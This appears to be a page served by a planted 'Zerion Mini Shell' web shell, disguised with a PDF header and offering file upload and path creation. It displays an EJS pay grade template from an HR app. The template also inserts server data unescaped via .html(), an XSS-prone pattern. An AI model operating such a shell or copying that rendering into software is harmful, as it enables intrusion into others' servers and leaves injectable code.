%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/views/hr/job/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/views/hr/job/payGrade.ejs

   <% include ../../partials/header %>

   <!-- ////////////////////////////////////////////////////////////////////////////-->

   <% include ../../partials/sidebar %>
  <!-- <link rel="stylesheet" type="text/css" href="/app-assets/ekko-lightbox/dist/ekko-lightbox.css"> -->

<link rel="stylesheet" type="text/css" href="/app-assets/vendors/css/forms/icheck/icheck.css">
<link rel="stylesheet" type="text/css" href="/app-assets/vendors/css/forms/icheck/custom.css">
<link rel="stylesheet" type="text/css" href="/app-assets/css/plugins/forms/checkboxes-radios.css">

<style>
.modal-header .close {
    padding: 1rem;
    margin: -1rem -1rem -1rem; }
    .modal-header {

  background-color:#2196F3;
    }
    /* .dataTables_filter, .dataTables_info { display: none; } */

</style>

   <div class="app-content content">
     <div class="content-wrapper">
       <div class="content-header row">
       </div>
       <div class="content-body">
         <!-- Breadcrumb starts-->
         <div class="content-header-left col-md-6 col-12 mb-2">
            <h3 class="content-header-title">Employment Status</h3>
            <div class="row breadcrumbs-top">
                <div class="breadcrumb-wrapper col-12">
                    <ol class="breadcrumb">
                        <li class="breadcrumb-item"><a href="/">Dashboard</a>
                        </li>
                        <li class="breadcrumb-item"><a href="/hr">Human Resources</a>
                        </li>
                        <li class="breadcrumb-item active">Employment Status
                        </li>
                    </ol>
                </div>
            </div>
        </div>
        <!-- Breadcrumb ends-->

        <!-- <div class="text-center">
            <a class="quick-btn text-red" href="/accounts/payments/create" >
              <i class="la la-plus fa-2x"></i>
              <span>New Payment</span>
            </a>
        </div> -->
        <%- format_messages(messages) %>


        <section class="row">
                <div class="col-lg-12 col-md-6 col-sm-12">
                    <div class="card " >
                        <div class="card-header" >
                        <h4 class="card-title">Pay Grade</h4>
                        <a class="heading-elements-toggle"><i class="la la-ellipsis-v font-medium-3"></i></a>
                        <div class="heading-elements">
                            <ul class="list-inline mb-0">
                                    <li><button class="btn btn-primary btn-sm" data-toggle="modal" data-target="#addPayGrade"><i class="ft-plus white"></i> Add Pay Grade</button></li>
                                    <li><a data-action="collapse"><i class="ft-minus"></i></a></li>
                            <!-- <li><a data-action="reload"><i class="ft-rotate-cw"></i></a></li> -->
                            <li><a data-action="expand"><i class="ft-maximize"></i></a></li>
                            <li><a data-action="close"><i class="ft-x"></i></a></li>
                            </ul>
                        </div>
                        </div>
                        <div class="card-content collapse show">
                        <div class="card-body card-dashboard " >
                                <div class="table-responsive">
                                    <table class="table" >
                                        <thead>
                                            <th>payGrade</th>
                                            <th>Description</th>
                                            <th>Currency</th>
                                            <th>Min Salary</th>
                                            <th>Max Salary</th>
                                            <th></th>
                                        </thead>
                                        <tbody id="payGrades">
                                            <% payGrades.forEach(payGrade => { %>
                                                <tr id="payGrade<%= payGrade.id %>">
                                                    <td><%= payGrade.title %></td>
                                                    <td><%= payGrade.description %> </td>
                                                    <td><%= /* payGrade.currency */"NGN - Nigeria" %> </td>
                                                    <td><%= payGrade.minSalary %> </td>
                                                    <td><%= payGrade.maxSalary %> </td>
                                                    <td>
                                                        <a class="btn dropdown-item" href="/hr/jobs/add-employment-payGrade" data-toggle="modal" onclick="editPayGrade('<%= JSON.stringify(payGrade) %>')"  data-target="#addPayGrade"><i class="la la-pencil" ></i> </a>
                                                    </td>
                                                </tr>
                                            <% }) %>
                                        </tbody>
                                    </table>
                                </div>

                            </div>

                        </div>


                    </div>
                </div>

            </section>


       </div>
     </div>
   </div>
   <!-- ////////////////////////////////////////////////////////////////////////////-->
   <input type="hidden" id="_csrf" name="_csrf" value="<%= _csrfToken %>">
    <!-- /////////// -->

    <div class="modal fade text-left" id="addPayGrade" tabindex="-1" role="dialog" aria-labelledby="addPayGrade"
    aria-hidden="true">
       <form action="/hr/jobs/add-payGrade" method="POST" id="addPayGradeForm">
       <input type="hidden" id="payGrade_id" name="id">
       <input type="hidden"  name="_csrf" value="<%= _csrfToken %>">

           <div class="modal-dialog modal-sm" role="document">
           <div class="modal-content">
               <div class="modal-header bg-blue">
               <h3 class="modal-title" ><span id="_payGradeModalLabel">Add Pay Grade</span> </h3>
               <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                   <span aria-hidden="true">&times;</span>
               </button>
               </div>
               <div class="modal-body">


                   <div class="form-group">
                       <label for="fromContact" id="">Pay Grade  :</label>
                           <input type="text" class="form-control" id="payGradeTitle" name="title"   >

                   </div>
                   <div class="form-group">
                       <label for="fromContact" id="">Description :</label>
                       <textarea type="text" class="form-control" id="payGradeDescription" name="description"   ></textarea>

                   </div>
                   <div class="form-group">
                       <label for="fromContact" id="">Currency :</label>
                       <select name="currencyId" id="currencyId">
                           <option value="1">NGN - Nigeria</option>
                       </select>

                   </div>


                   <div class="form-group">
                       <label for="fromContact" id="">Minimum Salary :</label>
                       <input type="number" class="form-control" id="minSalary" name="minSalary"  required value="">

                   </div>
                   <div class="form-group">
                       <label for="fromContact" id="">Maximum Salary :</label>
                       <input type="number" class="form-control" id="maxSalary" name="maxSalary"  required value="">

                   </div>


               </div>
               <div class="modal-footer">
                   <button type="button" class="btn grey btn-outline-secondary d" data-dismiss="modal" >Close</button>
                   <button type="submit" class="btn btn-info " ><i class="la la-check" ></i> Save </button>
               </div>
           </div>
           </div>

   </form>
   </div>

  <% include ../../partials/footer %>
  <!-- <script src="/app-assets/ekko-lightbox/dist/ekko-lightbox.js"></script> -->
 <script>

$("#addPayGradeForm").on('submit',(event)=>{
        $('#spinnerContainer').addClass('show');
        event.preventDefault();

        var minSalary = parseFloat($("#minSalary").val());
        var maxSalary = parseFloat($("#maxSalary").val());
        if(minSalary > maxSalary){
        $('#spinnerContainer').removeClass('show');

            return toastr.info("Minimum Salary can not be greater than Maximum Salary", '', {"showMethod": "slideDown", "hideMethod": "slideUp", timeOut: 3000});

        }
        var data = getFormData($('#addPayGradeForm'))


        $.ajax({
			type: "POST", // Post / Get method
			url: "/hr/jobs/add-pay-grade", //Where form data is sent on submission
			dataType: "text", // Data type, HTML, json etc.
			data: data, //Form variables
			success: function (response) {
				$('#spinnerContainer').removeClass('show');
				response = JSON.parse(response);
				// console.log(response)
				if(response.status == "success"){
                    payGrade = response.payGrade;
                    // console.log(response.payGrade)

                    var tr =
                            `<td>${payGrade.title}</td>
                            <td> ${payGrade.description} </td>
                            <td> NGN - Nigeria </td>
                            <td> ${payGrade.minSalary} </td>
                            <td> ${payGrade.maxSalary} </td>
                            <td><a class="btn dropdown-item" href="/hr/jobs/add-payGrade" data-toggle="modal" onclick="editPayGrade('${JSON.stringify(JSON.stringify(payGrade))}')" value="" data-target="#addPayGrade"><i class="la la-pencil" ></i> </a></td>`

                    if(data.id){
                        $(`#payGrade${data.id}`).html(tr);

                    }
                    else{
                        $('#payGrades').append("<tr>"+tr+"</tr>");
                    }

                    toastr.success(response.msg, '', {"showMethod": "slideDown", "hideMethod": "slideUp", timeOut: 3000});

                    $('#payGrade_id').val('')
                    $('#payGradeTitle').val('')
                    $('#payGradeDescription').val('')
                    // $('#from').val('')
                    $('#payGradeMinSalary').val('')
                    $('#payGradeMaxSalary').val('')
                    $('#_payGradeModalLabel').html("Add Pay Grade")

                }

                else{
                    toastr.error(response.msg, '', {"showMethod": "slideDown", "hideMethod": "slideUp", timeOut: 3000});

                }
                $(".d").trigger('click');
			},
			error:function (error){
				$('#spinnerContainer').removeClass('show');
				alert(error.message)

			}
		})
    })


    function editPayGrade(payGrade){
        payGrade = JSON.parse(payGrade);
        $('#_payGradeModalLabel').html("Edit Pay Grade")
        $('#payGrade_id').val(payGrade.id)
        $('#payGradeTitle').val(payGrade.title)
        $('#payGradeDescription').val(payGrade.description)
        // $('#payGradeCurrency').val(payGrade.currency)
        $('#payGradeCurrency').val(payGrade.currency)
        $('#payGradeMinSalary').val(payGrade.minSalary)
        $('#payGradeMaxSalary').val(payGrade.maxSalary)
    }
    function getFormData(form) {
        var rawJson = form.serializeArray();
        var model = {};

        $.map(rawJson, function (n, i) {
            model[n['name']] = n['value'];
        });

        return model;
    }
</script>

Zerion Mini Shell 1.0